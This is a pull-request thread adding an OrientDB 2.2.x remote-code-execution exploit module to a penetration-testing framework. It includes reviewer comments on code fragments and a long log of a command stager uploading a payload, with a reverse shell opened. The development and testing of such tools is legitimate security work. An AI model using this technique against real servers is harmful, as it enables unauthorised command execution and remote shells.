Add OrientDB 2.2.x RCE Module #8736

ricardojba · 2017-07-18T16:48:55Z

This module leverages a privilege escalation on OrientDB to execute unsandboxed OS commands.

All versions from 2.2.2 up to 2.2.22 should be vulnerable.

The module is based on the public PoC found here: https://blogs.securiteam.com/index.php/archives/3318

Vulnerable Application

OrientDB 2.2.2 <= 2.2.22

Installation

Download a vulnerable OrientDB version here: http://orientdb.com/download-previous/
$ wget http://orientdb.com/download.php?file=orientdb-community-2.2.20.zip&os=multi
$ unzip orientdb-community-2.2.20.zip
$ chmod 755 bin/*.sh
$ chmod -R 777 config
$ cd bin
$ ./server.sh

References for running OrientDB

http://orientdb.com/docs/2.0/orientdb.wiki/Tutorial-Installation.html
http://orientdb.com/docs/2.0/orientdb.wiki/Tutorial-Run-the-server.html

References for vulnerability

https://blogs.securiteam.com/index.php/archives/3318
http://www.palada.net/index.php/2017/07/13/news-2112/
https://github.com/orientechnologies/orientdb/wiki/OrientDB-2.2-Release-Notes#2223---july-11-2017

Verification Steps

Example Output

[LHOST:127.0.0.1][Workspace:default][Jobs:0][Sessions:0][/Users/vibrio] exploit(orientdb_exec) > run
[*] [2017.07.18-15:55:47] Started reverse TCP handler on 127.0.0.1:37331
[*] [2017.07.18-15:55:49] 127.0.0.1:2480 - Sending payload...
[*] Command shell session 1 opened (127.0.0.1:37331 -> 127.0.0.1:46594) at 2017-07-18 15:55:49 +0100

…sted the module against Win7-Pro-x64 with OrientDB v2.2.20 with StagerCmd flavors vbs and certutil with success

bcoles · 2017-07-23T12:23:18Z

modules/exploits/multi/http/orientdb_exec.rb

+      items.each do |item|
+       request_parameters = {
+        'method'    => 'POST',
+        'uri'       => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20?format=rid,type,version,class,graph"),


Use vars_get rather than appending the query string to the URL.

Now using vars_get on all requests.

bcoles · 2017-07-23T12:25:17Z

modules/exploits/multi/http/orientdb_exec.rb

+  def exploit
+    @uri = target_uri
+    @uri.path = normalize_uri(@uri.path)
+    @uri.path << "/" if @uri.path[-1, 1] != "/"


If you're using normalize_uri then in theory you shouldn't need to do this check for / as normalize_uri will take care of formatting the URL for you.

For example, {'uri' => normalize_uri(target_uri.path), 'listDatabases'}

Removed redundant uri normalization checking

bcoles · 2017-07-23T12:26:38Z

modules/exploits/multi/http/orientdb_exec.rb

+    uri = target_uri
+    uri.path = normalize_uri(uri.path)
+    uri.path << "/" if uri.path[-1, 1] != "/"
+    res = send_request_raw({'uri' => "#{uri.path}listDatabases"})


Is there a reason you're using send_request_raw rather than sen_request_cgi ? The latter is preferred.

I was having issues with the URL encoding. The exploit didn't work because of this. The "encode_params" resolved the issue and every request is now using send_request_cgi

…redundant uri normalization checking; Swapped send_request_raw for send_request_cgi; using vars_get;

bcoles · 2017-07-26T11:49:00Z

Unfortunately this didn't work for me on Windows 7.

Here's some output, printing the response from step 2 in http_send_command.

msf exploit(orientdb_exec) > rexploit 
[*] Reloading module...

[*] Started reverse TCP handler on 172.16.191.226:4444 
[*] 172.16.191.166:2480 - Sending command stager...
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:29 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS15010692891605797079680392894341; Path=/; HttpOnly
Content-Length: 80

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@5f1a1f9d"}]}
[*] Command Stager progress -   2.01% done (2046/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:29 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS15010692895193948718121206683528; Path=/; HttpOnly
Content-Length: 80

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@1eaa30f6"}]}
[*] Command Stager progress -   4.02% done (4092/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:29 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS1501069289878-3007972669999299688; Path=/; HttpOnly
Content-Length: 79

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@3dd5233"}]}
[*] Command Stager progress -   6.02% done (6138/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:30 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS15010692901907996418978231355820; Path=/; HttpOnly
Content-Length: 80

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@6fa63faa"}]}
[*] Command Stager progress -   8.03% done (8184/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:30 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS1501069290502-3985338834040150254; Path=/; HttpOnly
Content-Length: 80

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@21ad6a93"}]}
[*] Command Stager progress -  10.04% done (10230/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:30 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS15010692908292542798530472551010; Path=/; HttpOnly
Content-Length: 80

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@73c49a6e"}]}
[*] Command Stager progress -  12.05% done (12276/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:31 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS1501069291126-5717458825217670926; Path=/; HttpOnly
Content-Length: 80

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@4edd5b8a"}]}
[*] Command Stager progress -  14.06% done (14322/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:31 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS1501069291718-6303651205178786603; Path=/; HttpOnly
Content-Length: 80

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@164ecfd8"}]}
[*] Command Stager progress -  16.07% done (16368/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:32 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS1501069291999-6953340547341238430; Path=/; HttpOnly
Content-Length: 80

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@2540e263"}]}
[*] Command Stager progress -  18.07% done (18414/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:32 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS15010692924367220242471591555992; Path=/; HttpOnly
Content-Length: 80

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@781372ac"}]}
[*] Command Stager progress -  20.08% done (20460/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:32 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS1501069292732-5708500305583242008; Path=/; HttpOnly
Content-Length: 80

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@74fa410b"}]}
[*] Command Stager progress -  22.09% done (22506/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:33 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS15010692930137535561483430031827; Path=/; HttpOnly
Content-Length: 80

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@494f980a"}]}
[*] Command Stager progress -  24.10% done (24552/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:33 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS1501069293372-2669124159708129165; Path=/; HttpOnly
Content-Length: 80

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@5d2356b3"}]}
[*] Command Stager progress -  26.11% done (26598/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:33 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS15010692937314449576598769323142; Path=/; HttpOnly
Content-Length: 80

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@14d7758d"}]}
[*] Command Stager progress -  28.12% done (28644/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:34 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS15010692940126451469828522037091; Path=/; HttpOnly
Content-Length: 79

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@d16f237"}]}
[*] Command Stager progress -  30.12% done (30690/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:34 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS15010692943245143124208193859860; Path=/; HttpOnly
Content-Length: 80

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@362d81da"}]}
[*] Command Stager progress -  32.13% done (32736/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:34 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS15010692946204723053253688675566; Path=/; HttpOnly
Content-Length: 80

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@6e6fa793"}]}
[*] Command Stager progress -  34.14% done (34782/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:34 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS1501069294932-4222843568698522424; Path=/; HttpOnly
Content-Length: 80

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@2c844b2b"}]}
[*] Command Stager progress -  36.15% done (36828/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:35 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS1501069295244-7006193205519305341; Path=/; HttpOnly
Content-Length: 80

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@2f668ec9"}]}
[*] Command Stager progress -  38.16% done (38874/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:35 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS1501069295540-5206082618108197583; Path=/; HttpOnly
Content-Length: 80

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@1a19ca67"}]}
[*] Command Stager progress -  40.16% done (40920/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:35 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS15010692958376996249422783609956; Path=/; HttpOnly
Content-Length: 79

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@8973a42"}]}
[*] Command Stager progress -  42.17% done (42966/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:36 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS15010692961183560513707329219660; Path=/; HttpOnly
Content-Length: 80

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@54fa7d5f"}]}
[*] Command Stager progress -  44.18% done (45012/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:36 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS15010692964148962614686868092399; Path=/; HttpOnly
Content-Length: 80

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@4ba01046"}]}
[*] Command Stager progress -  46.19% done (47058/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:36 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS15010692966952606259120196494250; Path=/; HttpOnly
Content-Length: 80

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@7b26604e"}]}
[*] Command Stager progress -  48.20% done (49104/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:37 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS15010692972414001243326604819466; Path=/; HttpOnly
Content-Length: 80

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@44a5444b"}]}
[*] Command Stager progress -  50.21% done (51150/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:37 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS15010692975841614690703812370573; Path=/; HttpOnly
Content-Length: 80

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@5d360937"}]}
[*] Command Stager progress -  52.21% done (53196/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:37 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS15010692978655240897474324163496; Path=/; HttpOnly
Content-Length: 80

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@6d1867f0"}]}
[*] Command Stager progress -  54.22% done (55242/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:38 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS1501069298146-202779977791303544; Path=/; HttpOnly
Content-Length: 80

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@63fa8da2"}]}
[*] Command Stager progress -  56.23% done (57288/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:38 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS15010692984581547072112010311945; Path=/; HttpOnly
Content-Length: 80

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@108e842a"}]}
[*] Command Stager progress -  58.24% done (59334/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:38 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS1501069298770-4177034924324924137; Path=/; HttpOnly
Content-Length: 80

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@545970ef"}]}
[*] Command Stager progress -  60.25% done (61380/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:39 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS1501069299066-2079422371421324652; Path=/; HttpOnly
Content-Length: 80

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@5c4402bf"}]}
[*] Command Stager progress -  62.25% done (63426/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:39 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS1501069299409-7214040109547201606; Path=/; HttpOnly
Content-Length: 80

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@797be109"}]}
[*] Command Stager progress -  64.26% done (65472/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:39 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS1501069299706-8126958635095287975; Path=/; HttpOnly
Content-Length: 80

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@150c1a28"}]}
[*] Command Stager progress -  66.27% done (67518/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:40 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS1501069300377-5609598070399795830; Path=/; HttpOnly
Content-Length: 80

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@40d73417"}]}
[*] Command Stager progress -  68.28% done (69564/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:40 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS15010693006575830314370086059575; Path=/; HttpOnly
Content-Length: 80

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@689c6cde"}]}
[*] Command Stager progress -  70.29% done (71610/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:41 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS1501069301032-5607021406635306232; Path=/; HttpOnly
Content-Length: 80

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@533ce88e"}]}
[*] Command Stager progress -  72.30% done (73656/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:41 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS15010693013283766744506560290101; Path=/; HttpOnly
Content-Length: 80

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@6f0dafa5"}]}
[*] Command Stager progress -  74.30% done (75702/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:41 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS1501069301609-6205629599552979116; Path=/; HttpOnly
Content-Length: 80

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@60c4706e"}]}
[*] Command Stager progress -  76.31% done (77748/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:41 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS1501069301905-5976696417069895152; Path=/; HttpOnly
Content-Length: 80

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@4031ee42"}]}
[*] Command Stager progress -  78.32% done (79794/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:42 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS1501069302202-2140202440030038109; Path=/; HttpOnly
Content-Length: 80

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@75364892"}]}
[*] Command Stager progress -  80.33% done (81840/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:42 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS1501069302592-3163888958535977412; Path=/; HttpOnly
Content-Length: 80

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@57d7c16d"}]}
[*] Command Stager progress -  82.34% done (83886/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:42 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS1501069302888-7902105634416959655; Path=/; HttpOnly
Content-Length: 80

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@546642c4"}]}
[*] Command Stager progress -  84.35% done (85932/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:43 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS15010693032006029655255004867203; Path=/; HttpOnly
Content-Length: 80

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@7aee10b3"}]}
[*] Command Stager progress -  86.35% done (87978/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:43 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS1501069303497-3015404613583654622; Path=/; HttpOnly
Content-Length: 80

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@1c1d1f89"}]}
[*] Command Stager progress -  88.36% done (90024/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:43 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS15010693038096446108190096100335; Path=/; HttpOnly
Content-Length: 80

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@27474650"}]}
[*] Command Stager progress -  90.37% done (92070/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:44 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS1501069304152-5369272505377245430; Path=/; HttpOnly
Content-Length: 80

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@32a87b11"}]}
[*] Command Stager progress -  92.38% done (94116/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:44 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS1501069304464-2865315966010205929; Path=/; HttpOnly
Content-Length: 80

{"result":[{"@type":"d","@version":0,"value":"java.lang.ProcessImpl@497f0e85"}]}
[*] Command Stager progress -  94.39% done (96162/101881 bytes)
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Date: Wed, 26 Jul 2017 11:41:44 UTC
Content-Type: application/json; charset=utf-8
Server: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
Connection: Keep-Alive
Set-Cookie: OSESSIONID=OS1501069304745-1133722968544626262; Path=/; HttpOnly
Content-Length: 79

